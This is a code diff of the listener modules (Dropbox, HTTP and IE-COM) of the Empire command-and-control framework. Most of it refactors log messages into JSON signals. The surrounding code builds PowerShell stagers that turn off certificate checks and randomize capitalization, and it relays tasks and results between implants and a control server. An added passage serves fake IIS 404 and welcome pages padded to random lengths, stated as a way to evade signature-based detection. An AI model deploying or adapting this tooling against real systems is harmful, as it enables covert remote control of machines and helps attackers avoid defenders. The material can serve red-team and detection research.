# get any taskings applicable for agents linked to this listener
|
||||||
|
@ -961,22 +1060,47 @@ def send_message(packets=None):
|
||||||
if existingData:
|
if existingData:
|
||||||
taskingData = taskingData + existingData
|
taskingData = taskingData + existingData
|
||||||
|
|
||||||
dispatcher.send("[*] Uploading agent tasks for %s to %s" % (sessionID, taskingFile), sender='listeners/dbx')
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[*] Uploading agent tasks for {} to {}".format(sessionID, taskingFile)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
|
||||||
|
|
||||||
dbx.files_upload(taskingData, taskingFile, mode=dropbox.files.WriteMode.overwrite)
|
dbx.files_upload(taskingData, taskingFile, mode=dropbox.files.WriteMode.overwrite)
|
||||||
except dropbox.exceptions.ApiError as e:
|
except dropbox.exceptions.ApiError as e:
|
||||||
dispatcher.send("[!] Error uploading agent tasks for %s to %s : %s" % (sessionID, taskingFile, e), sender="listeners/dropbox")
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[!] Error uploading agent tasks for {} to {} : {}".format(sessionID, taskingFile, e)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
|
||||||
|
|
||||||
# check for any results returned
|
# check for any results returned
|
||||||
for match in dbx.files_search(resultsFolder, "*.txt").matches:
|
for match in dbx.files_search(resultsFolder, "*.txt").matches:
|
||||||
fileName = str(match.metadata.path_display)
|
fileName = str(match.metadata.path_display)
|
||||||
sessionID = fileName.split('/')[-1][:-4]
|
sessionID = fileName.split('/')[-1][:-4]
|
||||||
|
|
||||||
dispatcher.send("[*] Downloading data for '%s' from %s" % (sessionID, fileName), sender="listeners/dropbox")
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[*] Downloading data for '{}' from {}".format(sessionID, fileName)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
|
||||||
|
|
||||||
try:
|
try:
|
||||||
md, res = dbx.files_download(fileName)
|
md, res = dbx.files_download(fileName)
|
||||||
except dropbox.exceptions.HttpError as err:
|
except dropbox.exceptions.HttpError as err:
|
||||||
dispatcher.send("[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox")
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[!] Error download data from '{}' : {}".format(fileName, err)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
|
||||||
continue
|
continue
|
||||||
|
|
||||||
responseData = res.content
|
responseData = res.content
|
||||||
|
@ -984,7 +1108,13 @@ def send_message(packets=None):
|
||||||
try:
|
try:
|
||||||
dbx.files_delete(fileName)
|
dbx.files_delete(fileName)
|
||||||
except dropbox.exceptions.ApiError:
|
except dropbox.exceptions.ApiError:
|
||||||
dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox")
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[!] Error deleting data at '{}'".format(fileName)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
|
||||||
|
|
||||||
self.mainMenu.agents.handle_agent_data(stagingKey, responseData, listenerOptions)
|
self.mainMenu.agents.handle_agent_data(stagingKey, responseData, listenerOptions)
|
||||||
|
|
||||||
|
|
|
@ -6,6 +6,7 @@ import os
|
||||||
import ssl
|
import ssl
|
||||||
import time
|
import time
|
||||||
import copy
|
import copy
|
||||||
|
import json
|
||||||
import sys
|
import sys
|
||||||
from pydispatch import dispatcher
|
from pydispatch import dispatcher
|
||||||
from flask import Flask, request, make_response, send_from_directory
|
from flask import Flask, request, make_response, send_from_directory
|
||||||
|
@ -318,39 +319,38 @@ class Listener:
|
||||||
# allow for self-signed certificates for https connections
|
# allow for self-signed certificates for https connections
|
||||||
stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
|
stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
|
||||||
|
|
||||||
if userAgent.lower() != 'none' or proxy.lower() != 'none':
|
if userAgent.lower() != 'none':
|
||||||
|
stager += helpers.randomize_capitalization('$wc.Headers.Add(')
|
||||||
|
stager += "'User-Agent',$u);"
|
||||||
|
|
||||||
if userAgent.lower() != 'none':
|
if proxy.lower() != 'none':
|
||||||
stager += helpers.randomize_capitalization('$wc.Headers.Add(')
|
if proxy.lower() == 'default':
|
||||||
stager += "'User-Agent',$u);"
|
stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
|
||||||
|
else:
|
||||||
if proxy.lower() != 'none':
|
# TODO: implement form for other proxy
|
||||||
if proxy.lower() == 'default':
|
stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('")
|
||||||
stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
|
stager += proxy.lower()
|
||||||
|
stager += helpers.randomize_capitalization("');")
|
||||||
|
stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
|
||||||
|
if proxyCreds.lower() != 'none':
|
||||||
|
if proxyCreds.lower() == "default":
|
||||||
|
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
|
||||||
else:
|
else:
|
||||||
# TODO: implement form for other proxy
|
# TODO: implement form for other proxy credentials
|
||||||
stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('")
|
username = proxyCreds.split(':')[0]
|
||||||
stager += proxy.lower()
|
password = proxyCreds.split(':')[1]
|
||||||
stager += helpers.randomize_capitalization("');")
|
if len(username.split('\\')) > 1:
|
||||||
stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
|
usr = username.split('\\')[1]
|
||||||
if proxyCreds.lower() != 'none':
|
domain = username.split('\\')[0]
|
||||||
if proxyCreds.lower() == "default":
|
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
|
||||||
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
|
|
||||||
else:
|
else:
|
||||||
# TODO: implement form for other proxy credentials
|
usr = username.split('\\')[0]
|
||||||
username = proxyCreds.split(':')[0]
|
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"');"
|
||||||
password = proxyCreds.split(':')[1]
|
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
|
||||||
if len(username.split('\\')) > 1:
|
else:
|
||||||
usr = username.split('\\')[1]
|
stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();")
|
||||||
domain = username.split('\\')[0]
|
#save the proxy settings to use during the entire staging process and the agent
|
||||||
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
|
stager += "$Script:Proxy = $wc.Proxy;"
|
||||||
else:
|
|
||||||
usr = username.split('\\')[0]
|
|
||||||
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"');"
|
|
||||||
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
|
|
||||||
|
|
||||||
#save the proxy settings to use during the entire staging process and the agent
|
|
||||||
stager += "$Script:Proxy = $wc.Proxy;"
|
|
||||||
|
|
||||||
# TODO: reimplement stager retries?
|
# TODO: reimplement stager retries?
|
||||||
#check if we're using IPv6
|
#check if we're using IPv6
|
||||||
|
@ -461,7 +461,7 @@ class Listener:
|
||||||
if proxy.lower() == "default":
|
if proxy.lower() == "default":
|
||||||
launcherBase += "proxy = urllib2.ProxyHandler();\n"
|
launcherBase += "proxy = urllib2.ProxyHandler();\n"
|
||||||
else:
|
else:
|
||||||
proto = proxy.Split(':')[0]
|
proto = proxy.split(':')[0]
|
||||||
launcherBase += "proxy = urllib2.ProxyHandler({'"+proto+"':'"+proxy+"'});\n"
|
launcherBase += "proxy = urllib2.ProxyHandler({'"+proto+"':'"+proxy+"'});\n"
|
||||||
|
|
||||||
if proxyCreds != "none":
|
if proxyCreds != "none":
|
||||||
|
@ -720,7 +720,7 @@ class Listener:
|
||||||
updateServers += "\n[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
|
updateServers += "\n[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
|
||||||
|
|
||||||
getTask = """
|
getTask = """
|
||||||
function script:Get-Task {
|
$script:GetTask = {
|
||||||
|
|
||||||
try {
|
try {
|
||||||
if ($Script:ControlServers[$Script:ServerIndex].StartsWith("http")) {
|
if ($Script:ControlServers[$Script:ServerIndex].StartsWith("http")) {
|
||||||
|
@ -760,7 +760,7 @@ class Listener:
|
||||||
"""
|
"""
|
||||||
|
|
||||||
sendMessage = """
|
sendMessage = """
|
||||||
function script:Send-Message {
|
$script:SendMessage = {
|
||||||
param($Packets)
|
param($Packets)
|
||||||
|
|
||||||
if($Packets) {
|
if($Packets) {
|
||||||
|
@ -800,7 +800,7 @@ class Listener:
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
return updateServers + getTask + sendMessage
|
return updateServers + getTask + sendMessage
|
||||||
|
|
||||||
elif language.lower() == 'python':
|
elif language.lower() == 'python':
|
||||||
|
@ -857,7 +857,7 @@ def send_message(packets=None):
|
||||||
return (URLerror.reason, '')
|
return (URLerror.reason, '')
|
||||||
|
|
||||||
return ('', '')
|
return ('', '')
|
||||||
"""
|
"""
|
||||||
return updateServers + sendMessage
|
return updateServers + sendMessage
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
@ -909,7 +909,13 @@ def send_message(packets=None):
|
||||||
Before every request, check if the IP address is allowed.
|
Before every request, check if the IP address is allowed.
|
||||||
"""
|
"""
|
||||||
if not self.mainMenu.agents.is_ip_allowed(request.remote_addr):
|
if not self.mainMenu.agents.is_ip_allowed(request.remote_addr):
|
||||||
dispatcher.send("[!] %s on the blacklist/not on the whitelist requested resource" % (request.remote_addr), sender="listeners/http")
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[!] {} on the blacklist/not on the whitelist requested resource".format(request.remote_addr)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
|
||||||
return make_response(self.default_response(), 404)
|
return make_response(self.default_response(), 404)
|
||||||
|
|
||||||
|
|
||||||
|
@ -956,9 +962,16 @@ def send_message(packets=None):
|
||||||
This is used during the first step of the staging process,
|
This is used during the first step of the staging process,
|
||||||
and when the agent requests taskings.
|
and when the agent requests taskings.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
clientIP = request.remote_addr
|
clientIP = request.remote_addr
|
||||||
dispatcher.send("[*] GET request for %s/%s from %s" % (request.host, request_uri, clientIP), sender='listeners/http')
|
|
||||||
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[*] GET request for {}/{} from {}".format(request.host, request_uri, clientIP)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
|
||||||
|
|
||||||
routingPacket = None
|
routingPacket = None
|
||||||
cookie = request.headers.get('Cookie')
|
cookie = request.headers.get('Cookie')
|
||||||
if cookie and cookie != '':
|
if cookie and cookie != '':
|
||||||
|
@ -966,7 +979,13 @@ def send_message(packets=None):
|
||||||
# see if we can extract the 'routing packet' from the specified cookie location
|
# see if we can extract the 'routing packet' from the specified cookie location
|
||||||
# NOTE: this can be easily moved to a paramter, another cookie value, etc.
|
# NOTE: this can be easily moved to a paramter, another cookie value, etc.
|
||||||
if 'session' in cookie:
|
if 'session' in cookie:
|
||||||
dispatcher.send("[*] GET cookie value from %s : %s" % (clientIP, cookie), sender='listeners/http')
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[*] GET cookie value from {} : {}".format(clientIP, cookie)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
|
||||||
cookieParts = cookie.split(';')
|
cookieParts = cookie.split(';')
|
||||||
for part in cookieParts:
|
for part in cookieParts:
|
||||||
if part.startswith('session'):
|
if part.startswith('session'):
|
||||||
|
@ -987,12 +1006,24 @@ def send_message(packets=None):
|
||||||
# handle_agent_data() signals that the listener should return the stager.ps1 code
|
# handle_agent_data() signals that the listener should return the stager.ps1 code
|
||||||
|
|
||||||
# step 2 of negotiation -> return stager.ps1 (stage 1)
|
# step 2 of negotiation -> return stager.ps1 (stage 1)
|
||||||
dispatcher.send("[*] Sending %s stager (stage 1) to %s" % (language, clientIP), sender='listeners/http')
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[*] Sending {} stager (stage 1) to {}".format(language, clientIP)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
|
||||||
stage = self.generate_stager(language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand)
|
stage = self.generate_stager(language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand)
|
||||||
return make_response(stage, 200)
|
return make_response(stage, 200)
|
||||||
|
|
||||||
elif results.startswith('ERROR:'):
|
elif results.startswith('ERROR:'):
|
||||||
dispatcher.send("[!] Error from agents.handle_agent_data() for %s from %s: %s" % (request_uri, clientIP, results), sender='listeners/http')
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[!] Error from agents.handle_agent_data() for {} from {}: {}".format(request_uri, clientIP, results)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
|
||||||
|
|
||||||
if 'not in cache' in results:
|
if 'not in cache' in results:
|
||||||
# signal the client to restage
|
# signal the client to restage
|
||||||
|
@ -1003,7 +1034,13 @@ def send_message(packets=None):
|
||||||
|
|
||||||
else:
|
else:
|
||||||
# actual taskings
|
# actual taskings
|
||||||
dispatcher.send("[*] Agent from %s retrieved taskings" % (clientIP), sender='listeners/http')
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[*] Agent from {} retrieved taskings".format(clientIP)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
|
||||||
return make_response(results, 200)
|
return make_response(results, 200)
|
||||||
else:
|
else:
|
||||||
# dispatcher.send("[!] Results are None...", sender='listeners/http')
|
# dispatcher.send("[!] Results are None...", sender='listeners/http')
|
||||||
|
@ -1012,7 +1049,13 @@ def send_message(packets=None):
|
||||||
return make_response(self.default_response(), 200)
|
return make_response(self.default_response(), 200)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
dispatcher.send("[!] %s requested by %s with no routing packet." % (request_uri, clientIP), sender='listeners/http')
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[!] {} requested by {} with no routing packet.".format(request_uri, clientIP)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
|
||||||
return make_response(self.default_response(), 200)
|
return make_response(self.default_response(), 200)
|
||||||
|
|
||||||
@app.route('/<path:request_uri>', methods=['POST'])
|
@app.route('/<path:request_uri>', methods=['POST'])
|
||||||
|
@ -1025,7 +1068,14 @@ def send_message(packets=None):
|
||||||
clientIP = request.remote_addr
|
clientIP = request.remote_addr
|
||||||
|
|
||||||
requestData = request.get_data()
|
requestData = request.get_data()
|
||||||
dispatcher.send("[*] POST request data length from %s : %s" % (clientIP, len(requestData)), sender='listeners/http')
|
|
||||||
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[*] POST request data length from {} : {}".format(clientIP, len(requestData))
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': False,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
|
||||||
|
|
||||||
# the routing packet should be at the front of the binary request.data
|
# the routing packet should be at the front of the binary request.data
|
||||||
# NOTE: this can also go into a cookie/etc.
|
# NOTE: this can also go into a cookie/etc.
|
||||||
|
@ -1039,7 +1089,14 @@ def send_message(packets=None):
|
||||||
clientIP = '[' + str(clientIP) + ']'
|
clientIP = '[' + str(clientIP) + ']'
|
||||||
sessionID = results.split(' ')[1].strip()
|
sessionID = results.split(' ')[1].strip()
|
||||||
sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey']
|
sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey']
|
||||||
dispatcher.send("[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http')
|
|
||||||
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[*] Sending agent (stage 2) to {} at {}".format(sessionID, clientIP)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
|
||||||
|
|
||||||
hopListenerName = request.headers.get('Hop-Name')
|
hopListenerName = request.headers.get('Hop-Name')
|
||||||
try:
|
try:
|
||||||
|
@ -1057,10 +1114,22 @@ def send_message(packets=None):
|
||||||
return make_response(encryptedAgent, 200)
|
return make_response(encryptedAgent, 200)
|
||||||
|
|
||||||
elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'):
|
elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'):
|
||||||
dispatcher.send("[!] Error returned for results by %s : %s" %(clientIP, results), sender='listeners/http')
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[!] Error returned for results by {} : {}".format(clientIP, results)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
|
||||||
return make_response(self.default_response(), 404)
|
return make_response(self.default_response(), 404)
|
||||||
elif results == 'VALID':
|
elif results == 'VALID':
|
||||||
dispatcher.send("[*] Valid results return by %s" % (clientIP), sender='listeners/http')
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[*] Valid results returned by {}".format(clientIP)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
|
||||||
return make_response(self.default_response(), 404)
|
return make_response(self.default_response(), 404)
|
||||||
else:
|
else:
|
||||||
return make_response(results, 200)
|
return make_response(results, 200)
|
||||||
|
@ -1093,7 +1162,14 @@ def send_message(packets=None):
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print helpers.color("[!] Listener startup on port %s failed: %s " % (port, e))
|
print helpers.color("[!] Listener startup on port %s failed: %s " % (port, e))
|
||||||
dispatcher.send("[!] Listener startup on port %s failed: %s " % (port, e), sender='listeners/http')
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[!] Listener startup on port {} failed: {}".format(port, e)
|
||||||
|
message += "\n[!] Ensure the folder specified in CertPath exists and contains your pem and private key file."
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
|
||||||
|
|
||||||
def start(self, name=''):
|
def start(self, name=''):
|
||||||
"""
|
"""
|
||||||
|
|
|
@ -5,9 +5,10 @@ import os
|
||||||
import ssl
|
import ssl
|
||||||
import time
|
import time
|
||||||
import copy
|
import copy
|
||||||
|
import json
|
||||||
import sys
|
import sys
|
||||||
from pydispatch import dispatcher
|
from pydispatch import dispatcher
|
||||||
from flask import Flask, request, make_response
|
from flask import Flask, request, make_response, send_from_directory
|
||||||
|
|
||||||
# Empire imports
|
# Empire imports
|
||||||
from lib.common import helpers
|
from lib.common import helpers
|
||||||
|
@ -137,17 +138,86 @@ class Listener:
|
||||||
# set the default staging key to the controller db default
|
# set the default staging key to the controller db default
|
||||||
self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
|
self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
|
||||||
|
|
||||||
|
# randomize the length of the default_response and index_page headers to evade signature based scans
|
||||||
|
self.header_offset = random.randint(0,64)
|
||||||
|
|
||||||
def default_response(self):
|
def default_response(self):
|
||||||
|
"""
|
||||||
|
Returns an IIS 7.5 404 not found page.
|
||||||
|
"""
|
||||||
|
|
||||||
|
return '\n'.join([
|
||||||
|
'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">',
|
||||||
|
'<html xmlns="http://www.w3.org/1999/xhtml">',
|
||||||
|
'<head>',
|
||||||
|
'<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>',
|
||||||
|
'<title>404 - File or directory not found.</title>',
|
||||||
|
'<style type="text/css">',
|
||||||
|
'<!--',
|
||||||
|
'body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}',
|
||||||
|
'fieldset{padding:0 15px 10px 15px;}',
|
||||||
|
'h1{font-size:2.4em;margin:0;color:#FFF;}',
|
||||||
|
'h2{font-size:1.7em;margin:0;color:#CC0000;}',
|
||||||
|
'h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}',
|
||||||
|
'#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;',
|
||||||
|
'background-color:#555555;}',
|
||||||
|
'#content{margin:0 0 0 2%;position:relative;}',
|
||||||
|
'.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}',
|
||||||
|
'-->',
|
||||||
|
'</style>',
|
||||||
|
'</head>',
|
||||||
|
'<body>',
|
||||||
|
'<div id="header"><h1>Server Error</h1></div>',
|
||||||
|
'<div id="content">',
|
||||||
|
' <div class="content-container"><fieldset>',
|
||||||
|
' <h2>404 - File or directory not found.</h2>',
|
||||||
|
' <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3>',
|
||||||
|
' </fieldset></div>',
|
||||||
|
'</div>',
|
||||||
|
'</body>',
|
||||||
|
'</html>',
|
||||||
|
' ' * self.header_offset, # randomize the length of the header to evade signature based detection
|
||||||
|
])
|
||||||
|
|
||||||
|
def index_page(self):
|
||||||
"""
|
"""
|
||||||
Returns a default HTTP server page.
|
Returns a default HTTP server page.
|
||||||
"""
|
"""
|
||||||
page = "<html><body><h1>It works!</h1>"
|
|
||||||
page += "<p>This is the default web page for this server.</p>"
|
|
||||||
page += "<p>The web server software is running but no content has been added, yet.</p>"
|
|
||||||
page += "</body></html>"
|
|
||||||
return page
|
|
||||||
|
|
||||||
|
return '\n'.join([
|
||||||
|
'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">',
|
||||||
|
'<html xmlns="http://www.w3.org/1999/xhtml">',
|
||||||
|
'<head>',
|
||||||
|
'<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />',
|
||||||
|
'<title>IIS7</title>',
|
||||||
|
'<style type="text/css">',
|
||||||
|
'<!--',
|
||||||
|
'body {',
|
||||||
|
' color:#000000;',
|
||||||
|
' background-color:#B3B3B3;',
|
||||||
|
' margin:0;',
|
||||||
|
'}',
|
||||||
|
'',
|
||||||
|
'#container {',
|
||||||
|
' margin-left:auto;',
|
||||||
|
' margin-right:auto;',
|
||||||
|
' text-align:center;',
|
||||||
|
' }',
|
||||||
|
'',
|
||||||
|
'a img {',
|
||||||
|
' border:none;',
|
||||||
|
'}',
|
||||||
|
'',
|
||||||
|
'-->',
|
||||||
|
'</style>',
|
||||||
|
'</head>',
|
||||||
|
'<body>',
|
||||||
|
'<div id="container">',
|
||||||
|
'<a href="http://go.microsoft.com/fwlink/?linkid=66138&clcid=0x409"><img src="welcome.png" alt="IIS7" width="571" height="411" /></a>',
|
||||||
|
'</div>',
|
||||||
|
'</body>',
|
||||||
|
'</html>',
|
||||||
|
])
|
||||||
|
|
||||||
def validate_options(self):
|
def validate_options(self):
|
||||||
"""
|
"""
|
||||||
|
@ -234,7 +304,7 @@ class Listener:
|
||||||
if "https" in host:
|
if "https" in host:
|
||||||
host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port)
|
host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port)
|
||||||
else:
|
else:
|
||||||
host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port)
|
host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port)
|
||||||
|
|
||||||
# code to turn the key string into a byte array
|
# code to turn the key string into a byte array
|
||||||
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
|
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
|
||||||
|
@ -259,7 +329,7 @@ class Listener:
|
||||||
for header in customHeaders:
|
for header in customHeaders:
|
||||||
headerKey = header.split(':')[0]
|
headerKey = header.split(':')[0]
|
||||||
headerValue = header.split(':')[1]
|
headerValue = header.split(':')[1]
|
||||||
|
|
||||||
if headerKey.lower() == "host":
|
if headerKey.lower() == "host":
|
||||||
modifyHost = True
|
modifyHost = True
|
||||||
|
|
||||||
|
@ -270,7 +340,7 @@ class Listener:
|
||||||
#this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
|
#this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
|
||||||
if modifyHost:
|
if modifyHost:
|
||||||
stager += helpers.randomize_capitalization("$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};")
|
stager += helpers.randomize_capitalization("$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};")
|
||||||
|
|
||||||
stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);"
|
stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);"
|
||||||
stager += "while($ie.busy){Start-Sleep -Milliseconds 100};"
|
stager += "while($ie.busy){Start-Sleep -Milliseconds 100};"
|
||||||
stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;"
|
stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;"
|
||||||
|
@ -311,7 +381,7 @@ class Listener:
|
||||||
host = listenerOptions['Host']['Value']
|
host = listenerOptions['Host']['Value']
|
||||||
workingHours = listenerOptions['WorkingHours']['Value']
|
workingHours = listenerOptions['WorkingHours']['Value']
|
||||||
customHeaders = profile.split('|')[2:]
|
customHeaders = profile.split('|')[2:]
|
||||||
|
|
||||||
# select some random URIs for staging from the main profile
|
# select some random URIs for staging from the main profile
|
||||||
stage1 = random.choice(uris)
|
stage1 = random.choice(uris)
|
||||||
stage2 = random.choice(uris)
|
stage2 = random.choice(uris)
|
||||||
|
@ -438,7 +508,7 @@ class Listener:
|
||||||
|
|
||||||
if language:
|
if language:
|
||||||
if language.lower() == 'powershell':
|
if language.lower() == 'powershell':
|
||||||
|
|
||||||
updateServers = """
|
updateServers = """
|
||||||
$Script:ControlServers = @("%s");
|
$Script:ControlServers = @("%s");
|
||||||
$Script:ServerIndex = 0;
|
$Script:ServerIndex = 0;
|
||||||
|
@ -453,9 +523,9 @@ class Listener:
|
||||||
}
|
}
|
||||||
|
|
||||||
""" % (listenerOptions['Host']['Value'])
|
""" % (listenerOptions['Host']['Value'])
|
||||||
|
|
||||||
getTask = """
|
getTask = """
|
||||||
function script:Get-Task {
|
$script:GetTask = {
|
||||||
try {
|
try {
|
||||||
if ($Script:ControlServers[$Script:ServerIndex].StartsWith("http")) {
|
if ($Script:ControlServers[$Script:ServerIndex].StartsWith("http")) {
|
||||||
|
|
||||||
|
@ -489,7 +559,7 @@ class Listener:
|
||||||
""" % (listenerOptions['RequestHeader']['Value'])
|
""" % (listenerOptions['RequestHeader']['Value'])
|
||||||
|
|
||||||
sendMessage = """
|
sendMessage = """
|
||||||
function script:Send-Message {
|
$script:SendMessage = {
|
||||||
param($Packets)
|
param($Packets)
|
||||||
|
|
||||||
if($Packets) {
|
if($Packets) {
|
||||||
|
@ -507,7 +577,7 @@ class Listener:
|
||||||
$Headers = ""
|
$Headers = ""
|
||||||
$script:Headers.GetEnumerator()| %{ $Headers += "`r`n$($_.Name): $($_.Value)" }
|
$script:Headers.GetEnumerator()| %{ $Headers += "`r`n$($_.Name): $($_.Value)" }
|
||||||
$Headers.TrimStart("`r`n")
|
$Headers.TrimStart("`r`n")
|
||||||
|
|
||||||
try {
|
try {
|
